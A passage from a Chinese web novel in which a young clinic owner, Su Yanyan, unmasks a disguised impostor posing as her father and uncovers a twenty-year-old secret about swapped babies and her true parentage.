苏南星冷哼一声,向房内走去。苏夫人转头瞪着白延琅,少见地强硬道:“我们一家人团聚,你就不方便在这里。白延琅,知趣些,苏家不欢迎你,赶紧离开吧。”
白延琅嘴唇微动,不知想了什么,他没有说,默默转身离开。出了苏家大门,也没理好事者凑上来的问询,径直往济世堂去了。
苏宅,一身崭新衣衫的苏南星坐在中堂,苏夫人与苏颜妍坐在左右,三人间或怒或疑或不以为意,成了稳固的气场对抗局。
苏颜妍打量这位“苏南星”,那张脸,与上次密室中匆匆一晤半分无二。可她也能微妙地察觉,这个人,绝对不是她见到过的那位。这种微妙,不是她眼睛多么利能查看出破绽,而是一种感觉。她的男友萧景琮,以及大佬袁因,都是易容好手。他们做好伪装,很难让人察觉到身份。苏颜妍被他们捉弄过几次,次数多了,慢慢就有种第六感,巧妙地提醒自己,哪些人是有问题的。这位“苏南星”给她的感觉,就是这种微妙的不适。
厅堂内一时无声,三人都沉着脸,个个若有所思。
苏南星率先冷哼一声,对苏颜妍发难:“你这个孽女,到如今还不知悔改,给我跪下!”
苏夫人浑身一颤,捂着扑通扑通的心,难以置信地看着他,平素他可是最疼爱妍娘的啊,如今怎么变成这般模样!
74. 待解谜团
跪下?苏颜妍冷笑一声,直接开怼:“我有什么错,在你口中居然是罪大恶极、喊打喊杀的孽女?是在你失踪后,坚持要派人找你的下落,投入人力物力财力败家了?还是在你的好徒弟白延琅要卷着回春堂投靠对家济世堂,我不忍医馆多年的经营积累挥霍一空,坚持苏家一贯的作风,传承仁医之道错了?”
“好生没有道理,我与母亲苦苦支撑,你是一概不理,专门为了外人拆自己家的桥。你以前可不是这种做派,难不成你失踪一趟,回来后连内里的魂都换过一回了么?”
苏南星大怒,对着苏夫人横眉竖目:“你看看,这就是你宠出来的女儿!对着自己的父亲,就能如此猖狂不孝,对着外人,岂不是更加跋扈嚣张?怪不得能惹出大乱子,差点让回春堂遭到多方围剿,名声全无。”
苏夫人因他的指责气闷不已,苏颜妍确实冲动许多,言语上冒犯了亲长。可话又说回来,哪家亲长会和自己的孩子置气,动辄喝骂不休?她心里憋着气,不理他的控诉。
苏南星说不得这母女俩,重重拍了拍桌子,震得茶杯叮当作响。他指着苏颜妍道:“自今日起,你不许再出家门一步,给我好好反省。回春堂日后会交由白延琅继承,你也不要想着再出来沾边。女子芳华何其短,你的名声如此不堪,谁家好郎君肯娶你作新妇。不如趁现在在家休整,待风头过了,找个远离京中的人家,还好度过余生。”
好迂腐的腥臭味,腐朽了多少年的老僵尸还魂了这是?苏颜妍眉头紧皱,后仰躲避这股登味。
苏夫人比她还要受不得这番话:“苏南星,你变得让我陌生,你怎么能对妍娘说出这样残忍的话!什么时候起,你成了这样一个屈从于世俗的人?如若你当真顺天应时,逆来顺受,当年又怎么会选择单独出户,离宗远走?我陪你一路走来,看着你为心中的理想奋斗。现在你说的这些话,哪一句不是踩着你的初心践踏?你是发自肺腑说的话吗?我们至亲家人,你如果有什么苦衷,可以给我们说啊,不要用这样的话伤害我们。”
苏南星指着苏夫人道:“慈母多败儿,就是你一直袒护她,才让她这样鲁莽,闯出大祸不自知。你知道她改革医馆,动了多少人的利益?你知道京中同行,有多少人恨不得啖其肉啮其血!如果不把医馆交出去,你以为只凭咱们夫妻二人,能保得住她的性命?让她在家里反省,是在保护她!”
苏颜妍心下一动,没想到这个“苏南星”竟然说出这样一番话。暂时把他从敌对状态划归到中立,再观察一下,看看他想做什么。
苏家有不少萧景琮派来的暗卫,她很安全,她陪着苏夫人,料想能避开危险。
苏颜妍的蛰伏,对外面的人而言,就譬如见证了一场流星雨。璀璨星光划过黑夜,带来一场斑斓灿烈的梦境幻影,转瞬又不见。
拥有时往往不珍惜,失去后方觉珍贵,人的劣根性素来如此。
京中百姓开始同情苏颜妍,怀念她改革回春堂,每天都热热闹闹新奇有趣的日子。
白延琅如今和济世堂已然是勾搭成双,亲如一家。全京城的医馆也是如此。
垄断的可怕后果,终于给众人带来真实又惨痛的体验。
去看病,好态度是没有的。开药方,价格是昂贵。换医馆,体验是一模一样的。他们渺小的就如同沧海一粟,螳螂一般,只能狼狈承受车轮轧过的苦痛,欲哭无泪。
一个人这样,十个人这样,看个病低微到求爷爷告奶奶。
吃过好饭的百姓们怀念起苏颜妍的好,要是她还在经营回春堂,她待他们慈善仁爱,哪会如现在一般,低入尘埃?
一时间,百姓们的心苦的和莲子似的,痛骂这群衣冠禽兽,净知道欺负人一个小姑娘。
改革自己家医馆,碍着他们什么事了?独女怎么了,就不能自己当家做主么?这又是哪里来的道理!
苏南星糊涂,白延琅更不是个好东西。苏小神医既然有这样的本事,能顶得住京中其他医馆的胁迫,坚持给患者更贴心的医治,他们当初该站出来,给她助助阵的!
现在一切都晚了,苏颜妍失权被关禁闭,谁又会像她一样,站在患者这边,殷殷嘱托、细心医治……不少受过恩惠的人流下悔恨的泪水。
有人按捺不住去问过苏南星,想让苏颜妍早点出面,重新回到医馆,偶尔出诊也行,被苏南星严词拒绝。
其他医馆则是直接放话,有想要找苏颜妍看病的,尽管去。只是日后家里有谁要看诊,可别再求到他们的医馆,支持苏颜妍的人,恕不接待。
这种明晃晃的威胁一出,谁还敢吱声。
众百姓含怒不敢言,对苏颜妍更是深感歉疚。如果当时他们提前站出来支持苏神医就好了,有她在,他们不会落入现在这种进退两难的地步。更不会惧怕没地方看诊,连说句公道话的胆量都没有。
他们自己不看病、为义气挺身而出,也就罢了,可毕竟还有家人呢。
被众人怜悯歉疚的苏颜妍难得静下来,颇有种偷得浮生半日闲的感觉。
苏南星这会儿不在苏家,似乎是跟着白延琅去参与一个济世堂林家组的局。苏夫人数次想找苏父,同他谈谈二十年前生产时的事,从未如愿。
后来,苏夫人似乎也察觉到不协调,再没试图私下接触他。苏南星回京后,一直与她分房睡,苏夫人原本还有些伤心丈夫冷心冷情,此刻竟生出一丝庆幸。
苏家的仆妇下人多是苏颜妍当家后雇佣的,他们并不对苏父有特殊尊敬。苏夫人身边有相熟的仆妇周娘子,生的膀大腰粗,天生一把子力气。有她陪着,苏夫人心安许多。
苏颜妍一向不用她担心的,苏夫人这会儿杂念全无,只余一个目标:她要吃好喝好睡好,养好身体,等着丈夫,问出当年的答案。
他们二人各顾各,苏颜妍便自由自在。在苏家,她说句话,比苏南星本人都有用得多。毕竟,人手都是面前这位控制欲王者选手安排进来的。
她的面前,赫然就是本该在宫中坐镇,去忙军国大事的当朝皇帝萧景琮。
这位任性的皇
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帝陛下又双叒叕一次私下出行,跑到心上人面前献宝啦。
萧景琮今日多穿了一件赭色直缀,打扮了一副世外高人样,脸上还贴了两撇八字胡,歪歪斜斜靠在苏颜妍房中八仙椅上,有一搭没一搭地甩着手中装样用的拂尘:“你都确认这个苏南星是冒牌货,干嘛还让他留在苏家。交给我,有什么秘密,暗卫营里滚一遭,祖上八辈的料都能掏出来。你对这些人太过仁慈,总归是要吃亏的。”
更何况,还让他留在身边,危险分子不应该尽早消灭吗?君子不立危墙,这样他怎么会放心她呢?
苏颜妍翻着手里的书册,看都没看他:“我早就和袁姐姐商议好,我这边负责钓鱼,按兵不动才是正道。所有异样,袁姐姐会处理。倒是你,偷懒跑过来,是不是又把自己的活儿推给别人做了?”
萧景琮理不直气也壮:“我手下的人能做的,自当为君上分忧。我要是不过来,怎么能知道你又在这里做这样危险的事情?你太过信任袁因,那女人心眼子比莲藕都多,你小心被她卖掉还帮她数钱!”
“噫,好大的酸味!”苏颜妍故意捏着鼻子笑他:“这么看不惯,也没见你别让人家做事啊。怎么,许你心安理得把人当牛做马使唤,不许我信任她啊?”
“我那是信任我哥的本事!”萧景琮瞬间跳脚:“袁因也就能换个装唬唬人,身边得用的都是我哥的部下。你找她就是不如直接找我方便啊,我难道不是你最该信任的人吗?”
苏颜妍笑眯眯点他:“小桃说的没错,你就是个大醋桶。”
她捏捏萧景琮几欲反驳的嘴:“再多嘴就给你缝上,嘴硬大王。”
苏颜妍打量一番萧景琮的装扮,若有所思:“你这次不只是来看我吧,这身打扮,你要去哪里?”
萧景琮呜呜两声,苏颜妍无奈松开手,他故意努努印着浅浅指印的嘴巴,眼神幽怨。
“就知道瞒不过你,我哥传信来,他在安南府已经收网,主要逆党头目全数活捉,部分党羽四散,他布下的探子沿途拦截,捉住不少。京郊这边也有落网的,我去看看,能不能从他们口里掏出点有用的东西。”
苏颜妍追问道:“那安南府有没有找到我爹?”
萧景琮摇头:“奇怪的是,确实不曾找到。安南府此刻如同铁桶一般,按理犁过几遍后,那地界上藏不住人的。除非,留在安南的,有人精通伪装之术,就如同袁因般,改变了他的样貌。”
“袁因姐姐说,教她本事的婆婆已经不在人世,难道人死了,还能复生吗?”苏颜妍始终担心苏南星,到底与他暗室见过,印象深刻,又是原身一直信任喜欢的父亲,苏夫人也盼望着能再见到他。
至少现在,谜团尚未解开,她们都需要真正的苏南星。
萧景琮见不得她失望,立刻起身便要去京郊:“说不定京郊截下的那群人中,能问出你想要的消息。我这就亲自去审他们,不掏出点有用的来,就让他们后悔生在这世上。”
苏颜妍:……
好狠戾哦,男朋友。
75. 苦乐由他人
苏颜妍选择性地呆着苏宅,放任“苏南星”与白延琅去接手回春堂。
袁因早已安排好,一支伪装成对方心腹的队伍已经潜伏成功,他们是监护者与暗藏的尖刀。
苏颜妍信任袁因,她说一切没问题,尽在掌握,那一定就是没问题。
萧景琮这会儿风风火火冲到京郊,去和落单的叛党过招去了。想来安南府的消息传到京中只是时间长短的问题。
京中肯定有潜藏的逆党。这次他们的大本营全线溃散,失去有组织的后盾,那些人就是隐藏在雪中的沙砾,太阳多晒一会儿,就暴露在眼皮底下。
她心中暗暗推测着有没有认识的人,给济世堂和白延琅重点画上圈。
荧惑左使曾经接触过白延琅,他身上有荧惑少主后人的线索。虽说有可能是因为苏南星的缘故,但当时和白延琅混在一起的,可是济世堂的林玉珠。
就连苏南星本人被关押的农庄,林玉珠也能进去。叛党和济世堂之间,必定有某种关联。
可惜林有仁实在太过机警,苏颜妍从没发现他露出什么破绽。袁因也盯了济世堂许久,林家似乎与平日里没什么两样,她们都找不出林有仁掺合进这场阴谋中的证据。
苏颜妍这次认栽服软,也有退一步让出场地,看看是否能引出白延琅林玉珠身后的人。“苏南星”的出现,就是最诱人的那个饵。
万事俱备,只等贼首入瓮。
白延琅此刻志得意满,最是张狂。简直是天赐的好梦,他梦中都没想过能这样轻松达成毕生心愿。
自岐黄谷挨打,是他此生最难熬的时日。他在苏南星身边,付出无数苦痛煎熬,最想要的就是得到回春堂。苏南星失踪,他多么欣喜若狂,不想最后竟被苏颜妍后来居上,抢走医馆。而他,只能隐姓埋名如一只阴沟里的老鼠,靠着无尽的恨与憎偷生。
天可怜见,他竟得到一封苏南星传位的手书,凭着这封信,官府把回春堂判给了他!此刻他都犹如活在梦中!
心心念念的医馆到手,济世堂那林老贼总算给他好脸色,觑着人多逼他认下与林玉珠的亲事。
一个二嫁妇人而已,只要能保他长久掌控医馆,娶了又何妨。林玉珠也是林家的独女,有了林家姑爷这层身份,日后的济世堂,他也不是不能掺一手。
可谁想,苏南星竟回京了!收到这个消息,他当时就从头冷到脚,只恨那老儿为何不死在外头。
峰回路转,可能当时密室一见,他的表现蒙蔽了对方,苏南星竟公然表态,支持他继续经营回春堂!
白延琅想到此处,做梦都要仰天长笑,这是何等的快事!
处处顺心,唯一让他心中不爽的,反倒是曾经一直想着攀附过去撷取好处的与林玉珠的亲事。
他一文不名时,尚且觉得自己配得上对方。现在他白延琅可是回春堂的掌柜,年纪轻轻就能与济世堂林有仁齐肩的青年才俊!这样的身份,搭配一个嫁过一次的痴肥妇人,太过煞风景。
他越是反感,济世堂那林老贼越是逼迫:“延琅与我儿玉珠,交往多日,很是情投意合。男大当婚女大当嫁,现在苏兄也已经回京,正好可以来林府做个见证,吃上一杯喜酒。”
白延琅推脱不过这个老狐狸,见苏南星只顾微笑小酌,一个恶心法子转念就上了嘴边:“我现在哪里敢成家?我枉为人兄,在师妹误入歧途时,没能纠正她的行为,害的师父还要为她发愁。现在就这样抛下师父师妹,独自娶妻生子安稳度日,我过不了心中那一关。”
苏南星端着酒杯的手顿住,林有仁脸上的笑也凝固:“哦,是吗?那也不能就因为这样的理由,就让我家小女苦苦等待。女子花期就如同春日时节,等一等,风光就不再了。想来苏兄也不愿意拖累你,对吧?”
苏南星笑呵呵地道:“男女人伦,乃是大事。延琅,我知你顾念感情,是性情中人,放不下心中的责任。我家那个孽畜,反省过后,我会让她搬回乡下祖宅。若有幸,能有人聘为家妇,我自会备上嫁妆送她出门。若不幸无人相看,古佛青灯,也有她一方去处。”
这是明摆着要赶尽杀绝,让苏颜妍再无东山再起的可能。好狠心的爹!
有心肠柔软些的掌柜便劝说道:“孩子一时惹了祸,细细地教过,日后不会再犯,也就罢了。真放乡下,倒也可惜。苏兄若是舍得,我家幼子倒也与令千金年岁相近,我可做主,聘令爱为儿妇。”
白延琅面色就是一变。他虽嫌弃林玉珠肥丑,心中却知自己是掐着林家未来姑爷的身份,暗暗垂涎济世堂。这个掌柜为自家孩儿求娶苏颜妍,他以己度人,便以为人家也是觊觎苏家的回春堂。他视回春堂为私有物,哪里忍得下这种威胁?
他立刻出声反对:“这位掌柜,万请三思。你或许不清楚,我那师妹,可是已有心上人的。她曾与其独自出城,往返三日有余,孤男寡女,早已暗中定情。我虽然与师妹起过争执,可现在师父已经回京,我们之间的矛盾也便不存在。师妹的心思我是知道的,可不敢耽搁您家公子。”
他的话一落,周围顿时一片嗡鸣私语声:“真的假的?这不是明摆着说苏姑娘私相授受,失了名节,阻挡人家的姻缘么。”
“白延琅确实有私心,说的也难听。可是他说的也确实是实情,那位苏神医的确与外男交往过密,同去过岐黄谷。我那边有人脉,当初听他们说过这事情。只是当时只感慨人家有背景,能攀上岐黄谷良医,没有往感情方面深思。”
苏南星脸上挂不住笑,沉下脸,哼了一声。
白延琅赶忙描补:“师父可千万不要生气,这位公子也算是一表人才,我虽然没查出他家是何方人士,有什么背景,但他能自由出入岐黄谷,给师妹牵线搭桥请出两位岐黄谷良医,想来也配得上师妹。就是不知道这位公子家中是否已经娶过妻室,能不能有心接纳师妹。”
“您没回京前,这位公子可是和师妹形影不离的。也不知为何,您回家了,他也没来正式拜访您,礼数不够周到,见到他可要好好论说一番。”
林有仁接话道:“延琅,还是多把心
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思放在自己人身上。苏姑娘自有苏兄管教,你这个师兄,现在只管放手,让人家父女俩说说心里话。你与玉珠的婚事,我已经托人看定一黄道吉日。我在这里托个大,请在场的各位到时候也捧个场,来参加小女的婚礼。”
众人顿时满口恭喜,围着林有仁表忠心,丝毫没理白延琅骤然发黑的脸色。
“哪里哪里,我等就盼着来喝喜酒,沾点喜气啦。”
“郎才女貌,天作之合!”
白延琅手指攥的紧紧,指甲掐在手心,深的如印进血肉掌中。他挤出一个笑,对苏南星道:“师父,虽说师妹如今名声有污,可也不能就这样放弃她,任她跟了一个不知底细的人。我现在已经全数接管回春堂,我与师妹也算是青梅竹马,从小一起长大。实在不行,您看我也可以纳了师妹,玉珠人品贵重,贤良淑德,定然不会反对的。这样师妹也不怕跟了外人,惹您和师母担心。”
他竟然开得了口,就当着林有仁的面,说要纳自己师父家的独女当妾!
大厅里一时鸦雀无声,众人都看着白延琅,惊愕鄙夷,轮番变化。
林有仁重重拍了拍案桌,不满地说道:“白延琅,我看你是公然不把我们林家放在眼中!我看上你,是疼惜自己家女儿心仪于你,你这还没与玉珠成亲,便打算起纳小?你太过看轻林家!你今日不给我一个解释,我们家玉珠与你的婚约,便从此作罢。”
到口的鸭子哪能让它飞了?白延琅连忙改口:“我只是出于对师父的关心,对师妹没有任何男女私情。我心中最珍惜的,自然是玉珠,您在我心中,已经是准岳父,我愿娶玉珠为妻,不能作罢。”
苏南星帮他说和道:“林兄,不必生气。我家那个孽畜,哪里配得上延琅。林小姐皎皎如天上月,地底的泥就不配与她相提并论。我等着喝您家的喜酒呢,此事便尽快定下吧。”
林有仁这才转怒为喜,当场拍板,敲定了婚期。
苏颜妍听说后,想起特地来找她说那一番怪话的林玉珠,心中浮出几分难过。她不是为林玉珠难过,林玉珠已经算是自己比较有选择权的女子,她若真心想闹,这门婚事也成不了。她只是从这桩婚事中,再一次感受到世界对女子的不公。
同样的人生大事,林有仁身为林玉珠的父亲,能问也不问自己的女儿,直接越过她与白延琅对话,就这样轻易决定了林玉珠的一生。仿佛一场权利交接,父权选定人选,将一个女子,货物一般交易,从父权转到夫权,何等悲哀。
苏颜妍有些庆幸,她自己可以选定未来另一半,不必屈从于父母之命,成为世俗的一员。
她也不可避免的想起萧景琮,那个又任性又莫名可靠的家伙,能带给她安全感的人,她的男朋友。她也庆幸,萧景琮同样不必屈从于父母,他也能自己决定自己想要的一切。
自由,平等,原来这些是这样珍贵的东西。
她想,她永远永远,也不会忘记自己来时的路,不会忘记自己拥有自由的灵魂。世界变化,拥有过希望的心也绝不会沉沦。
76. 身世真相
济世堂嫁女,虽说是二嫁,但到底家底丰厚,也算热闹。
白延琅娶林玉珠,他们俩名声都不怎么好,反倒想着歪法子踩着苏颜妍洗白。二嫁?总比未婚与外男勾搭好吧。为了女方家产娶丑女?君不闻丑妻才是家中宝,比那些仗着长相勾搭外男的好一百倍!
总之,不管有什么关于二人的嘲讽笑言,他们都能扯到苏颜妍身上。
小桃气得要死,与济世堂林家的仆人一天吵十架。她哪里是那群听主家吩咐专门传脏话的人的对手,每每吵不过被气到,变成阴郁蘑菇躲角落里画圈圈诅咒他们。
苏颜妍安排暗卫保护小桃安全,并不多管,任她越败越战,越挫越勇。
萧景琮京郊收网捕捞,当真捉住一条大鱼:真正的苏南星找到了!他知这人对苏颜妍和袁因都很重要,倒没有任性,痛快带着人来苏家交差了。同时,袁因也安排人收网,捕捉了前几日进京的“苏南星”。
两位苏南星同时在场,苏颜妍左看右看也分不清真假,大受震撼。
“袁姐姐,这手伪装之术真是太神奇了,完全能以假乱真。这种技术会的人多么,传出去会不会出现冤假错案啊?”
袁因亲自动手,走到一位“苏南星”面前,端详一阵,直接上手摸索几下,撕下这人面上的假皮面具。
面具底下是一张苍白消瘦的脸,袁因一怔,脱口而出:“你是陈婆婆身边的心腹,荧惑组织下属蜉蝣。你居然还活着!”
那人苦笑一声:“袁小姐果然天赋了得,尽得首领真传。我受首领委托,照顾少主,当年却因为私事,害少主产子而亡。我被苏南星误导以为少主的骨血进了皇宫,不得不隐瞒身份潜入安南一系探子中。不想一错再错,真是命运弄人。”
真正的苏南星被萧景琮一路捆着,先是绝望灰心,进了京城见到苏颜妍和顶着他的脸的“苏南星”,又是惊愕震惊。待见到对方真容,听到他的话,一段久远的回忆一下子浮出来,他失声问道:“你是陈夫人身边那位贴身侍女,你叫、沉星!”
他们二人竟是认识的!沉星冷笑一声:“难为苏大夫时隔二十年,还能记得住我一个小小侍女的名字。就是不知你是不是也还记得,你换走我家少主亲子的事。”
“你误会了,我从不曾做过什么换子的事。”苏南星矢口否认,他紧张地看了苏颜妍一眼,神色间慌乱无比。
沉星冷冷地笑了:“哈哈哈哈哈——你以为自己否认,当年发生的事就不存在了吗?你以为自己怎么会被安南府的逆党抓走?我家少主怀着的,可是安南王的种!”
苏颜妍的耳朵竖了起来,她屏住呼吸,毕竟原身有可能是那位“后裔”的!
苏南星受不住她锐利的视线,闭了闭眼睛。他咽下叹息,摇了摇头,依旧否认换子这件事。
沉星恨恨瞪着他道:“好,你还不承认是吧?那位就把当年的事细细说一遍,让你记起来。”
“二十多年前,少主与安南王起了分歧,离开安南府,坐船去往苏州府散心。一场阵雨,她与苏夫人巧合相识,彼时你正筹谋搬去信阳山,依附岐黄谷精进医术。”
苏夫人前去和自己认识的小姐妹告别:“我家夫君想要去全景朝名医最多的地方,多学点医术,未来要去京城开医馆。我要跟着他离开了,我们有了宝宝,现在努力点,日后才能给宝宝最好的生活。”
她手捂着小腹,脸上有幸福的笑,那种幸福化为蝴蝶,绕着情绪低落的女子飞,将她从深沉的绝望深渊中拉出来,重见天日。
那位女子恰好也查出有了孩子,可惜与苏夫人不同,她腹中的孩子,还没出生,身边就围满了诡谲的阴谋。她想给这孩子另一种可能,干净的、平凡的,远离风波的人生。
她跟随苏夫人一同去了信阳山,暗中找到苏南星,谈妥条件,给足助力,帮他找到岐黄谷中的良医,教授知识。
她不动声色融入进苏夫人的生活中,引而不发,静静等待。
直到苏夫人一朝分娩,她接到消息,同时饮下一碗催生汤剂,想让腹中的孩儿充作苏夫人诞下的双生子,留在苏家长大。
就如同苏夫人曾经憧憬的那般,平淡、温馨,幸福。
“可是你做了什么?!”沉星大喊:“你带走少主的孩子,没有留她在苏家,把她装进木盒,送进了皇宫!苏南星,你背叛了少主,你违背了与她的协议!你与宫中太医搭上的线,还是我们家少主给牵的!少主是带着恨死去的,你怎么能这样心安理得过完一生!”
苏南星睫毛濡湿,脸皮剧烈抖动,谁都看得出他心情起伏得厉害。
“不是的。”他嘶哑着,扭头避开苏颜妍,对沉星解释:“你误会了,我从不曾毁诺,当年我送走的孩子,不是你家少主的血脉,是我亲生的孩儿!”
沉星瞬时卡住,半晌,脸上又是挣扎又是怀疑:“你怎么可能送走自己的亲生孩子?那可是宫中,当时皇后产子,你明知那孩子送进去九死一生!你手中恰好有个完全符合条件的婴儿,你会放弃自己的孩子,留下一个外人?”
“是啊!那可是你的亲生孩儿!你当真选择放弃她,留下了别人的孩子?”
苏南星身躯一颤,猛的睁开眼睛,看向发话的人——苏夫人浑身萦绕尖锐的怨气,此刻正目不转睛地盯着他。
沉星看到苏夫人,一瞬心虚,低下了头。复又不甘心,咬着唇同样看向苏南星。
苏南星垂头不语。
苏夫人的理智被这无声的沉默粉碎,她开始歇斯底里大闹:“苏南星!你怎么能做出这样丧尽天良的事!那可是你的亲血骨肉,是我盼了十个月、念了十个月的孩儿啊!你对得起我们吗?你简直枉为人夫,枉为人父!我此生最后悔的事就是嫁给你,你怎么没死在外头啊——”
苏颜妍往萧景琮方向缩了缩,被这种绝望的情绪引得心情沉重。她看袁因已经上前扶住苏夫人,便没有挪动位置,紧紧靠着萧景琮,从他身上汲取热与鲜活。
苏夫人抱着袁因大哭:“我的孩儿啊——我竟这样与你错过二十年!”
苏南星愕然,抬眼细细打量袁因,艰涩地开口问道:“你、你是当年那个孩子?你还活着?”
沉星则是盯着苏颜妍眼也不眨地看,眉目间满是困惑:
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“你是少主的孩子?为什么看上去不像少主,也不像安南王……”
苏颜妍暗暗叹息,要是所有的孩子都和父母相似,那这世界上的人都成一个模具里抠出来的啦。不过,安南王是不是有皇家的血脉啊?难不成她和萧景琮还有同一个老祖宗?这这这,是不是擦线了?
苏南星挨了苏夫人的撕打,他没有还手,一时头发蓬乱,脸上挂彩,狼狈非常。他对苏夫人深怀愧疚,见她崩溃至极,不由得黯然:“我原本不知道,那孩子会被送进宫中再不得出。当年林有仁来给我传信,说师父要看看孩子,他说皇后刚诞麟儿,这孩子是有大造化的。我只当是宫中缺少皇嗣,宗室中也少有新生儿,这才从宫外找婴儿作伴。我想着,那孩儿有师父随身看着,最多不过几日,就还给咱们了。没成想,是一去再也没回来。”
他说着旧事,说到伤心处,也落下泪来:“待师父从宫中空手回家,我就知道事情不是林有仁说的那样。可是已经晚了,我想了各种法子,都没探出当时宫中发生的事。师父出宫不久就病逝,我知道,他是中了毒,他说对不住我们,让我把秘密咽到肚中,永远不要说出来,否则全家都保不住。娘子,你那时已经醒来,把妍娘当成自己产下的亲子。我能怎么给你说?说了你还能活得下去吗?若不是安南叛党绑走了我,这个秘密我永远都不会让你知道的。”
沉星挣扎道:“那你为何不告诉少主,你养的是她的孩子?她倘若知道,也不会郁郁而终啊。”
苏南星怒道:“我承认,当年确实承了她的恩情,若是没有她,我学不了一身医术,开不了回春堂,成不了一个独当一面的大夫。沉星姑娘,我答应你们少主的,从始至终,从未食言。当时我带她孩子离开时,就已经说过了,我会把她当成自己的亲女,让她像普通人家的姑娘一样,无忧无虑地长大。我已经全数做到,并不欠你们什么!我这辈子唯一对不住的,是我的妻儿,你家少主有什么心事,误会,这些和我有什么相干?我甚至都不知道她的想法!你说妍娘长的不似安南王,我告诉你,她压根就不是你以为的,她和安南王的血脉!”
“苏南星,你信口胡扯什么?我家少主已经去世,你现在给她泼脏水污她名节?”
“枉你还是她的贴身侍女,到现在都不懂她的心思。你到底凭什么来审判我,还扮成我的样子伤害我的家人?”苏南星指着苏颜妍说道:“你仔细看看她,是不是和你家少主身边的另一个人长着同一张脸?”
苏颜妍无辜地瞪大眼睛,就见看着她的沉星仿佛被电灼了一般,不停地抖起来:“不可能的,不可能的!少主怎么会喜欢樊大哥,她明明一直跟的是安南王…”
“樊玉郎,原来妍娘是他的孩子。”苏夫人在袁因的安抚下,已经恢复理智,听着沉星与苏南星的话,她不由喃喃出声:“怪不得,小蝶总不肯南归。我只当她孩子心性,不想一辈子呆在一个地方,原来她一直想跟着樊玉郎离开景朝。”
她细细打量苏颜妍的脸,那张她原本习以为常只当自己孩子的脸忽就模糊,重新变成眼前这张神气活现、灵动美丽的脸——果然是一张故人的脸。
77. 恩怨总纠缠
一场碰面会,惹得三个当事人都崩溃,苏颜妍颇觉头大。
萧景琮还在暗中搓着小手,见缝插针等待看哪个平静下来,顺手再添点油加点火。
在他看来,这几个人有一算一,全都伤害过他的心上人,统统都该挨一顿教训。苏颜妍如同带着这位八百斤的狗子出门遛弯,被他飞奔拉着跑向吃瓜现场,拖都拖不走。
二十年恩怨情仇到底远矣。新生代的苏颜妍和袁因反倒没有多大的感触。
袁因接走苏夫人,她同是当年受害者之一,苏南星与陈夫人的事,她本身就不知情。这些年,她对苏颜妍更是如亲子,一朝得知真相,完全不能接受苏南星。她本性柔软,现在对袁因满是遗憾,有袁因陪着她,就像得了救命的良药,她的伤口总会有愈合的时候。
沉星原本想报复苏南星,对苏颜妍和苏夫人没有实质性的伤害,念在她没做出什么不可挽回的事,苏颜妍和袁因商议后,决定放她离开。
萧景琮是绝不可能允许她留在苏颜妍身边的,沉星自知理亏,把他伪装苏南星时外出收集的信息尽数告知苏颜妍后,便销声匿迹。苏颜妍也没有再听说过她的消息。想来她没回荧惑组织,有一手易容的本事,也能开始新的生活。
苏南星最是倒霉,刚从安南叛党手中逃出,又被萧景琮抓住,当着苏夫人和苏颜妍的面挑开了二十年前的往事。
秘密已经掀开,他算是同时失去了妻子和女儿。苏南星自知理亏,无颜面对袁因与苏夫人,与她们分开后,并未留在苏家,而是去了苏东林住的地方。他与这位族侄通过信,当时想拜托他照料苏夫人,苏东林进入京郊学舍就是他提前铺好的路子。
谁料他刚进苏东林租住的小院,还没与这位族侄碰面,孟氏就抢先出来,对着他就是一顿大骂:“好啊,我道来的是哪个,原来是你!苏南星,你怎么还有脸踏进我家宅门。你不是把医馆都给了你那徒弟白延琅了吗?我们家这小地方,可留不住你这位大佛。哼,信上说的花里胡哨,骗的我们娘儿几个背井离乡进京投奔你,结果到最后,我们倒成了外人,被这个嫌那个弃的,你怎么好意思还来找我们呀!”
苏南星面有惭色,他多少猜出肯定是沉星伪装他时做了什么得罪了孟氏的事,只是他现在实在无颜留在苏家,和苏颜妍日日相对。思来想去,还是打算来找苏东林,一起商议一下。
他这次没有等很久,苏东林很快从学舍回来,将他从孟氏的冷嘲热讽中救出。
“三叔,咱们屋里坐,有什么话都好好说。”
孟氏碍于儿子的面子,哼了一声,带着苏小香出了门。
她们去了回春堂,站在门口开始东一句西一句骂起街来:“丧了天良的白眼狼,得了医馆后装也不装,到底是攀上了高枝。吃着软饭的东西,长着二两肉也算不得个男人,充着大头蒜当甩手掌柜,把个恩师当皮球,踢到别人家。”
白延琅最是小心眼,听了这话,当场命令下人将她们赶走。孟氏母女差点挨打,再也顾不得骂,夹着尾巴逃走。
知道是苏南星去找苏东林才惹来这俩灾星,白延琅怒道:“师父他到底想要做什么!自从回京,就没消停过。先是逼我娶林玉珠,医馆也撒手不管,我还得高价花钱雇佣坐诊大夫。现在还跑到苏东林那里,他上次就想公开抢我的管理权,这次又要生出什么事。”
殊不知苏东林也在诧异,他还以为上次一别,苏南星已经选定白延琅,不会再与他联系。他可不知这是苏南星第一次与他见面,之前是沉星伪装的假面。
待苏南星说出想让他一起去找白延琅,商量让他交出医馆来,苏东林都愣了愣:“三叔这意思是,让我去管回春堂的事?您上次还说让我专心科举,我也确实不通医术,恐怕帮不了您。”
苏南星垂下头:“妍娘和白延琅闹的不愉快,你三婶也不开心。我总不能让真不顾她们俩的感受,医馆还是要收回来的好。”
苏东林暗中打量他,斟酌着说:“三叔这次下定决心要改了?白延琅已经投靠了济世堂,现在想从他手中要回医馆,可不容易。可是他做了什么不好的事,三叔对他不满意了?”
苏南星苦笑一声,他现在只觉得陷在泥里,拼尽全力爬出来也沾满了泥点子,狼狈不堪。时光若是能倒流,回到二十年前,他绝不会借助陈夫人的帮助,结识金太医。
当年他一棋落错,满盘皆崩。亲生孩子一别二十载,养大的孩子还被她的亲随误会陷害。小心翼翼埋葬听到的辛密,最终还是落入危险中。教导的徒弟心怀不轨,结识的朋友别有用心,拉拨的后辈家门不幸,家业也落入别人手中。他真是举目四望,全是萧瑟,没有一条路是能走到终点的。
“白延琅蒙蔽了我,他这人只为得到回春堂,为了这能不择手段。我不能放任他接手医馆,他根本没有身为医者最重要的东西,仁心。”苏南星道:“东林,是我力邀你入京,如今我也只能找你帮忙,赶走白延琅,夺回回春堂。”
苏颜妍听闻苏南星去找苏东林,也同样好奇,他这是要打算做什么,是不是想和白延琅反目。
萧景琮在一旁捣乱:“医馆里全都是我们的人,你不需要分给他们半个眼神。不管他们和白延琅闹成什么样,你只管挑个时间收网,到时候还是回春堂的苏掌柜。你还没继续给我说完呢,当初如果被送进宫中的是你,你是不是能和我一起长大呀?”
